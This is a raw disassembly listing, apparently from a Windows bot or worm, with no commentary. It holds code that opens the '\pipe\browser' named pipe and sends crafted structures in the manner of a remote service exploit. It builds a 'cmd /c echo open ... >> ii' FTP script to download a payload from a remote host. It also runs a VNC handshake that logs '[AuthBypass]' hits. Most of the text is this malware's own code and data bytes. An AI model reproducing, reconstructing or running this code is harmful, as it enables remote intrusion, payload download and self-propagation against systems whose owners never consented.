0FFh db 0FFh db 83h ; ƒ db 0C4h ; Ä db 1Ch db 89h ; ‰ db 85h ; … db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; ¸ db 8 db 0D8h ; Ø db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; è db 43h ; C db 8Dh ; db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_40DA14 ; --------------------------------------------------------------------------- db 0BEh ; ¾ db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_40DA14: ; CODE XREF: ___:0040DA0Dj push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax nop call near ptr 27308C8h cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DA58 loc_40DA51: ; CODE XREF: ___:0040DB30j ; ___:0040DD06j ... xor al, al jmp loc_40DE9C ; --------------------------------------------------------------------------- loc_40DA58: ; CODE XREF: ___:0040DA4Fj push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_41B590 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_432914 push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_41C310 push 10h lea eax, [ebp-84h] push offset dword_432900 push eax mov dword ptr [ebp-88h], 3 call sub_41C310 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] nop call near ptr 2720000h test eax, eax jnz short loc_40DB35 loc_40DB27: ; CODE XREF: ___:0040DC01j push dword ptr [ebp-4] call near ptr 2690934h nop jmp loc_40DA51 ; --------------------------------------------------------------------------- loc_40DB35: ; CODE XREF: ___:0040DB25j lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] nop call near ptr 2730000h push ebx call sub_41D081 push eax call sub_41B8D8 push 14h lea eax, [ebp-70h] push 41h push eax call sub_41B590 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_41B590 add esp, 20h call sub_41B8E2 mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_4328A8[esi], bl jz short loc_40DBAC push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_4CE37C jmp short loc_40DBBF ; --------------------------------------------------------------------------- loc_40DBAC: ; CODE XREF: ___:0040DB98j push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_4328F7+1) loc_40DBBF: ; CODE XREF: ___:0040DBAAj lea eax, [ebp-20h] push eax call sub_41C310 add esp, 0Ch call sub_41B8E2 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41B8E2 cdq idiv edi mov eax, dword_43289C[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_41B4D5 mov edi, eax pop ecx cmp edi, ebx jz loc_40DB27 mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41B590 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41B590 mov eax, dword_4328A4[esi] push 7 add eax, edi push offset dword_432890 push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_432730 push eax call sub_41C310 mov eax, dword_4328A0[esi] add esp, 30h cmp byte_4328A8[esi], bl mov [ebp+0Ch], eax jz short loc_40DCB8 push 4 add eax, edi push offset dword_4CE374 push eax call sub_41C310 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_4328C0 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_41C310 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_41C310 add esp, 30h jmp short loc_40DCE0 ; --------------------------------------------------------------------------- loc_40DCB8: ; CODE XREF: ___:0040DC69j add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_4328C0 loc_40DCC9: ; CODE XREF: ___:0040DCDEj push 4 push esi push dword ptr [ebp+0Ch] call sub_41C310 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_40DCC9 loc_40DCE0: ; CODE XREF: ___:0040DCB6j mov eax, [ebp+8] add eax, 42h push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_40DD0B push dword ptr [ebp-4] nop call near ptr 2690934h push edi call sub_41B0B1 pop ecx jmp loc_40DA51 ; --------------------------------------------------------------------------- loc_40DD0B: ; CODE XREF: ___:0040DCF4j mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_41B590 lea eax, [ebp-70h] push 14h push eax push esi call sub_41C310 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_4276A4 fstp qword ptr [esp] call sub_41C7BF call sub_41C798 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_41C310 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_40DD78 loc_40DD70: ; CODE XREF: ___:0040DD73j inc eax test al, 3 jnz short loc_40DD70 mov [ebp+0Ch], eax loc_40DD78: ; CODE XREF: ___:0040DD6Ej lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_41C310 add dword ptr [ebp+0Ch], 1Ch push edi call sub_41B0B1 push 18h lea eax, [ebp-48h] push ebx push eax call sub_41B590 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_41B590 add esp, 28h push ebx push ebx push 1 push ebx nop call near ptr 27208D0h mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_40DDE5: ; CODE XREF: ___:0040DE6Fj cmp dword ptr [ebp-0Ch], 2 jge loc_40DE7A push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_40D8AE add esp, 2Ch test al, al jz short loc_40DE77 cmp [ebp-4Ch], ebx jz short loc_40DE69 lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] call near ptr 2730000h nop test eax, eax jnz short loc_40DE50 call near ptr 26B0857h nop cmp eax, 3E5h jnz loc_40DA51 loc_40DE50: ; CODE XREF: ___:0040DE3Dj push 3E8h push dword ptr [ebp-4Ch] nop call near ptr 26C0000h cmp eax, 102h jnz short loc_40DE69 mov byte ptr [ebp+0Bh], 1 loc_40DE69: ; CODE XREF: ___:0040DE1Cj ; ___:0040DE63j cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_40DDE5 jmp short loc_40DE7A ; --------------------------------------------------------------------------- loc_40DE77: ; CODE XREF: ___:0040DE17j mov esi, [ebp-8] loc_40DE7A: ; CODE XREF: ___:0040DDE9j ; ___:0040DE75j push dword ptr [ebp-4] mov edi, dword_427068 call edi push esi call sub_41B0B1 cmp [ebp-4Ch], ebx pop ecx jz short loc_40DE96 push dword ptr [ebp-4Ch] call edi loc_40DE96: ; CODE XREF: ___:0040DE8Fj cmp [ebp+0Bh], bl setnz al loc_40DE9C: ; CODE XREF: ___:0040DA53j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 81h ; db 0ECh ; ì db 0A0h ; db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; ö db 6Ah ; j db 10h db 8Dh ; db 45h ; E db 0F0h ; ð db 56h ; V db 50h ; P db 0E8h ; è db 0D5h ; Õ db 0D6h ; Ö db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 0Ch db 8Dh ; db 45h ; E db 0Ch db 66h ; f db 0C7h ; Ç db 45h ; E db 0F0h ; ð db 2 db 0 db 50h ; P db 0E8h ; è db 2Bh ; + db 34h ; 4 db 6Ah ; j db 71h ; q db 90h ; db 0FFh db 0B5h ; µ db 0C4h ; Ä db 0 db 0 db 0 db 89h ; ‰ db 45h ; E db 0F4h ; ô db 90h ; db 0E8h ; è db 69h ; i db 38h ; 8 db 6Ah ; j db 71h ; q db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; ‰ db 45h ; E db 0F2h ; ò db 90h ; db 0E8h ; è db 36h ; 6 db 5Dh ; ] db 6Ah ; j db 71h ; q db 8Bh ; ‹ db 0D8h ; Ø db 83h ; ƒ db 0FBh ; û db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; db 45h ; E db 0F0h ; ð db 6Ah ; j db 10h db 50h ; P db 53h ; S db 90h ; db 0E8h ; è db 5Dh ; ] db 5Fh ; _ db 6Ah ; j db 71h ; q db 83h ; ƒ db 0F8h ; ø db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; ¿ db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; ‹ db 35h ; 5 db 18h db 72h ; r db 42h ; B db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 0B8h ; ¸ db 10h db 91h ; ‘ db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 90h ; db 0B3h ; ³ db 4Ch ; L db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 0DFh ; ß db 0CCh ; Ì db 0FFh db 0FFh db 59h ; Y db 50h ; P db 68h ; h db 48h ; H db 29h ; ) db 43h ; C db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 68h ; h db 90h ; db 1 db 0 db 0 db 50h ; P db 0E8h ; è db 37h ; 7 db 0DAh ; Ú db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 1Ch db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; è db 86h ; † db 0D0h ; Ð db 0 db 0 db 59h ; Y db 50h ; P db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 50h ; P db 53h ; S db 90h ; db 0E8h ; è db 8Ah ; Š db 3Bh ; ; db 6Ah ; j db 71h ; q db 83h ; ƒ db 0F8h ; ø db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; À db 0EBh ; ë db 17h db 6Ah ; j db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 53h ; S db 90h ; db 0E8h ; è db 0E6h ; æ db 3Ah ; : db 6Ah ; j db 71h ; q db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; É db 0C3h ; Ã db 53h dd 0DB335756h, 1424448Dh, 0FDE85053h, 59FFFFF9h, 7459C084h dd 8D656A22h, 81142474h, 0BCECh, 592F6A00h, 0A5F3FC8Bh dd 0FFFEE4E8h, 0C0C481FFh, 85000000h, 851575C0h, 680B75DBh dd 7D0h, 292F6FE8h, 83439002h, 0B87202FBh, 5F58016Ah ; --------------------------------------------------------------------------- pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DFE3 proc near ; CODE XREF: sub_40E0D1+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call near ptr 71AB12F8h nop push [ebp+arg_BC] mov [ebp+var_C], eax nop call near ptr 71AB1746h push esi push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40E0B1 lea eax, [ebp+var_10] push 10h push eax push ebx call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jz short loc_40E0B1 mov edi, 400h push esi mov esi, dword_427218 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429110 push eax push eax push dword_4CB390 push [ebp+arg_0] call sub_40AC10 pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh jnz short loc_40E0B5 loc_40E0B1: ; CODE XREF: sub_40DFE3+50j ; sub_40DFE3+62j xor eax, eax jmp short loc_40E0CC ; --------------------------------------------------------------------------- loc_40E0B5: ; CODE XREF: sub_40DFE3+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx nop call near ptr 71AB1A6Dh push 1 pop eax loc_40E0CC: ; CODE XREF: sub_40DFE3+D0j pop edi pop esi pop ebx leave retn sub_40DFE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E0D1 proc near ; CODE XREF: sub_40C125+1EAp ; DATA XREF: ___:off_431B04o var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CB694 push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CB654 push 6 push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40E143 lea eax, [ebp+var_10] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40E124 push esi jmp short loc_40E13D ; --------------------------------------------------------------------------- loc_40E124: ; CODE XREF: sub_40E0D1+4Ej push 0 push 1213h push offset dword_4329BC push esi nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh push esi jnz short loc_40E147 loc_40E13D: ; CODE XREF: sub_40E0D1+51j nop call near ptr 71AB1A6Dh loc_40E143: ; CODE XREF: sub_40E0D1+3Cj xor eax, eax jmp short loc_40E189 ; --------------------------------------------------------------------------- loc_40E147: ; CODE XREF: sub_40E0D1+6Aj nop call near ptr 71AB1A6Dh push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DFE3 add esp, 0C0h test eax, eax jz short loc_40E186 mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431B08[eax] lea eax, dword_431B08[eax] loc_40E186: ; CODE XREF: sub_40E0D1+9Ej push 1 pop eax loc_40E189: ; CODE XREF: sub_40E0D1+74j pop edi pop esi leave retn sub_40E0D1 endp ; =============== S U B R O U T I N E ======================================= sub_40E18D proc near ; CODE XREF: ___:0040E27Bp ; ___:0040E2DDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40E195: ; CODE XREF: sub_40E18D+2Dj test edi, edi jle short loc_40E1C0 mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CB66C test eax, eax jz short loc_40E1BC cmp eax, 0FFFFFFFFh jz short loc_40E1BC sub edi, eax add esi, eax jmp short loc_40E195 ; --------------------------------------------------------------------------- loc_40E1BC: ; CODE XREF: sub_40E18D+22j ; sub_40E18D+27j xor eax, eax jmp short loc_40E1C3 ; --------------------------------------------------------------------------- loc_40E1C0: ; CODE XREF: sub_40E18D+Aj push 1 pop eax loc_40E1C3: ; CODE XREF: sub_40E18D+31j pop edi pop esi retn sub_40E18D endp ; =============== S U B R O U T I N E ======================================= sub_40E1C6 proc near ; CODE XREF: ___:0040E2C7p ; ___:0040E2F4p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40E203 xor esi, esi test edi, edi jle short loc_40E1FD loc_40E1D6: ; CODE XREF: sub_40E1C6+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CB6A4 cmp eax, 0FFFFFFFFh jz short loc_40E203 test eax, eax jz short loc_40E203 add esi, eax cmp esi, edi jl short loc_40E1D6 loc_40E1FD: ; CODE XREF: sub_40E1C6+Ej push 1 pop eax loc_40E200: ; CODE XREF: sub_40E1C6+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40E203: ; CODE XREF: sub_40E1C6+8j ; sub_40E1C6+2Bj ... xor eax, eax jmp short loc_40E200 sub_40E1C6 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_433C00 push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CB6D4 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40E235 push eax jmp short loc_40E269 ; --------------------------------------------------------------------------- loc_40E235: ; CODE XREF: ___:0040E230j lea eax, [ebp+0Ch] push eax call dword_4CB694 push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CB654 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CB5FC cmp eax, 0FFFFFFFFh jnz short loc_40E274 push ebx loc_40E269: ; CODE XREF: ___:0040E233j call dword_4CB6EC jmp loc_40E46F ; --------------------------------------------------------------------------- loc_40E274: ; CODE XREF: ___:0040E266j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E18D add esp, 0Ch test eax, eax jz loc_40E468 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41C645 add esp, 10h cmp eax, esi jnz loc_40E468 cmp dword ptr [ebp-28h], 3 jz short loc_40E2C0 cmp dword ptr [ebp-20h], 8 jnz loc_40E468 loc_40E2C0: ; CODE XREF: ___:0040E2B4j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E1C6 add esp, 0Ch test eax, eax jz loc_40E468 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40E18D add esp, 0Ch test eax, eax jz loc_40E468 lea eax, [ebp-2] push 1 push eax push ebx call sub_40E1C6 add esp, 0Ch test eax, eax jz loc_40E468 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40E18D add esp, 0Ch test eax, eax jz loc_40E468 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40E468 push 1 push offset dword_4CB50C push ebx call sub_40E1C6 add esp, 0Ch test eax, eax jz loc_40E468 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40E18D add esp, 0Ch test eax, eax jz loc_40E468 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41CFC5 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40E3F8 push edi push esi push ebx call sub_40E18D add esp, 0Ch loc_40E3F8: ; CODE XREF: ___:0040E3EBj and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41B980 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409A73 lea eax, [ebp-24Ch] push eax call sub_4151AD mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431B08[eax] push ebx lea eax, dword_431B08[eax] nop call near ptr 71AB1A6Dh push 1 pop eax jmp short loc_40E471 ; --------------------------------------------------------------------------- loc_40E468: ; CODE XREF: ___:0040E285j ; ___:0040E2AAj ... push ebx nop call near ptr 71AB1A6Dh loc_40E46F: ; CODE XREF: ___:0040E26Fj xor eax, eax loc_40E471: ; CODE XREF: ___:0040E466j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E47F: ; CODE XREF: ___:0040E49Bj ; ___:0040E4B7j push 0 lea eax, [ebp-404h] push 400h push eax push dword_4CE394 call dword_4CB66C test eax, eax jle short loc_40E47F lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4CE390 nop call near ptr 2720000h jmp short loc_40E47F ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E4C2: ; CODE XREF: ___:0040E4E8j ; ___:0040E502j lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4CE384 call near ptr 2730000h nop cmp dword ptr [ebp-4], 0 jle short loc_40E4C2 push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4CE394 call dword_4CB6A4 jmp short loc_40E4C2 ; --------------------------------------------------------------------------- dword_40E504 dd 81EC8B55h, 11CECh, 8458B00h, 6A575653h, 59F08B28h, 0FEE4BD8Dh ; DATA XREF: sub_401ACD+2D0Eo dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h dd 59E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh dd 15FFFFFFh, 4CB654h, 6A56066Ah, 45896602h, 0D415FFCAh dd 89004CB6h, 458D0845h, 50106AC8h, 0FF0875FFh, 4CB68015h dd 0FF056A00h, 15FF0875h, 4CB67Ch, 70FC1D8Bh, 358B0042h dd 427068h, 75FF5757h, 0E815FF08h, 0A3004CB6h, 4CE394h dd 57F4458Dh, 0E3906850h, 8C68004Ch, 0C7004CE3h, 0CF445h dd 45C70000h, 1FCh, 0F87D8900h, 458DD3FFh, 685057F4h, 4CE388h dd 4CE38468h, 6AD3FF00h, 84458D44h, 0BDE85057h, 0A10000CFh dd 4CE38Ch, 890CC483h, 88A1BC45h, 89004CE3h, 6A57C045h dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h dd 7D896600h, 0CDE890B4h, 5002331Eh, 0E38835FFh, 0C1E8004Ch dd 9002331Eh, 0E5E89050h, 8D023319h, 8D50D845h, 57508445h dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 433C0468h dd 0E8905700h, 22825D4h, 50E8458Dh, 0B9685757h, 8D0040E4h dd 5057F445h, 19AAE890h, 4589022Ah, 0E8458DECh, 68575750h dd 40E476h, 57F4458Dh, 91E89050h, 6A022A19h, 0F04589FFh dd 90D875FFh, 2B1983E8h, 75FF5702h, 2057E8F0h, 5790022Bh dd 90EC75FFh, 2B204CE8h, 0F075FF02h, 75FFD6FFh, 57D6FFECh dd 0E8D875FFh, 23224A9h, 8C35FF90h, 0FF004CE3h, 9035FFD6h dd 0FF004CE3h, 8435FFD6h, 0FF004CE3h, 8835FFD6h, 0FF004CE3h dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h dd 0FFFE6800h, 680000h, 0E8000004h, 9F9Dh, 0E39CA359h dd 0C359004Ch dword_40E6F0 dd 81EC8B55h, 6C0ECh, 8458B00h, 6A575653h, 59F08B27h, 0FF50BD8Dh ; DATA XREF: sub_40BACE+34Do dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h dd 6DE85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh dd 15FFFFFFh, 4CB654h, 26A5653h, 0EE458966h, 0FFF05D89h dd 4CB6D415h, 83F88B00h, 0FE3BFFCEh, 5D394575h, 532075E4h dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h dd 0E8FFFFFFh, 0FFFFB2FFh, 8D14C483h, 0FFFD4085h, 2AE850FFh dd 0FF00006Ah, 0FFFF54B5h, 0CC85E8FFh, 5959FFFFh, 69E89053h dd 8B023018h, 0FFFF5485h, 69106AFFh, 234C0h, 9CB88900h dd 8D0043E5h, 5750EC45h, 0B68015FFh, 0C63B004Ch, 400BBh dd 0CF850F00h, 0FF000000h, 4CB5E815h, 27403D00h, 47740000h dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh, 858D50E0h dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB27Fh, 8D14C483h dd 0FFFD4085h, 0AAE850FFh, 0FF000069h, 0FFFF54B5h, 0CC05E8FFh dd 5959FFFFh, 0E9E89056h, 68023017h, 0FFFEh, 9E63E853h dd 0A3590000h, 4CE39Ch, 45896659h, 0EC458DEEh, 5750106Ah dd 0B68015FFh, 0C63B004Ch, 15FF5475h, 4CB5E8h, 7539F633h dd 3D2775E4h, 2740h, 8D562074h, 0FFFD4085h, 0E075FFFFh dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 4E8FFFFh, 83FFFFB2h dd 858D14C4h, 0FFFFFD40h, 692FE850h, 0B5FF0000h, 0FFFFFF54h dd 0FFCB8AE8h, 565959FFh, 176EE890h, 56A0230h, 7C15FF57h dd 3B004CB6h, 0D4840FC6h, 0C7000000h, 10FC45h, 10BE0000h dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CB6E815h dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h dd 0FFB186E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 68B1h dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h dd 4CB66Ch, 74FFF883h, 0FF565696h, 4CB39035h, 50B5FF00h dd 0E8FFFFFFh, 0FFFFC2E4h, 0C685059h, 8D00433Ch, 0FFF94085h dd 0E85053FFh, 0D040h, 8D1CC483h, 0FFF94085h, 50006AFFh dd 0C68FE8h, 8D505900h, 0FFF94085h, 75FF50FFh, 0A415FF08h dd 83004CB6h, 840FFFF8h, 0FFFFFF43h, 0E3A405FFh, 38E9004Ch dd 57FFFFFFh, 0B6EC15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFCA8AE8h dd 6A59FFh, 30166FE8h db 2, 90h word_40E992 dw 8B55h ; DATA XREF: sub_40BACE+22Ao dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h, 0A9h, 0BD8DF08Bh dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h dd 16850F6h, 89000001h, 5D89E45Dh, 0DC5D89D4h, 0FDD4B589h dd 0B589FFFFh, 0FFFFFBC4h, 57F8E890h, 5356716Ah, 0E890026Ah dd 716A5236h, 71F4358Bh, 4D8D0042h, 51046AE4h, 0FFFFBFh dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AD4h, 8B57FB6Ah dd 0FF57F87Dh, 0DC458DD6h, 667E6850h, 